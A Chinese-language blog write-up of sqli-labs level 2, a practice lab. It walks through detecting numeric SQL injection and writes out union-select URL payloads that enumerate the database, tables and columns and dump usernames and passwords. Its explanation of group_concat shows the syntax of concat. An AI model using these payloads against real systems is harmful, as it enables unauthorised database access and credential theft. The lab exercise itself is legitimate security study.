sql lab第二关
哎呀呀,要写第二关了,不知道能不能行了,打开靶场
看着和第一关也没多大区别嘛,所以想着先用第一关的方法搞一手吧‘
那我先判断一下他是什么注入吧
首先试了一下?id=1' 是出错的,这样就存在注入了。
然后又用 ?id=1' and 1=1 还是不行
那我又用了?id=1 and 1=1 ,页面果真好了,
然后继续判断,?id=1 and 1=2,没有出错,但是还是查不出数据,与原始页面不相同,
那这就是我们所谓的数字注入了。
好吧,那我们就利用上一关所学到的知识来搞一手,
先查看一下数据库列数,
当时我是用的http://10.0.68.183/sqli-labs-master/Less-2/?id=1%27%20order%20by%203#来判断的列数,可是一直再报错,大概内容就是说”order by 4 LIMIT 0,1’,前面有两个单引号,这说明我们输入的一个单引号其实是多余了,所以去除 。
最终的pyload是
http://10.0.68.183/sqli-labs-master/Less-2/?id=1%20order%20by%203#
然后,这样就成功了。查出来3列
接下来我们需要找一下显示位:
http://10.0.68.183/sqli-labs-master/Less-2/?id=00%20%20union%20select%201,2,3
这样就能找到了。
那我们继续爆数据库名
http://10.0.68.183/sqli-labs-master/Less-2/?id=00%20%20union%20select%202,3,database()
和第一关的一样哎,好,继续爆表名,
http://10.0.68.183/sqli-labs-master/Less-2/?id=00%20%20union%20select%202,3,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()#
information_schema:
这是一个mysql自带的库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表列的数据类型与访问权限等,所以我们查询这个库
group _concat:
1、功能:将多个字符串连接成一个字符串。
2、语法:concat(str1, str2,...)
返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。
我们继续爆表名:
http://10.0.68.183/sqli-labs-master/Less-2/?id=00%20%20union%20select%202,3,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27#
最后爆出最后的密码:
http://10.0.68.183/sqli-labs-master/Less-2/?id=00%20%20union%20select%202,3,group_concat(username,%27:%27,password)from%20security.users%20--+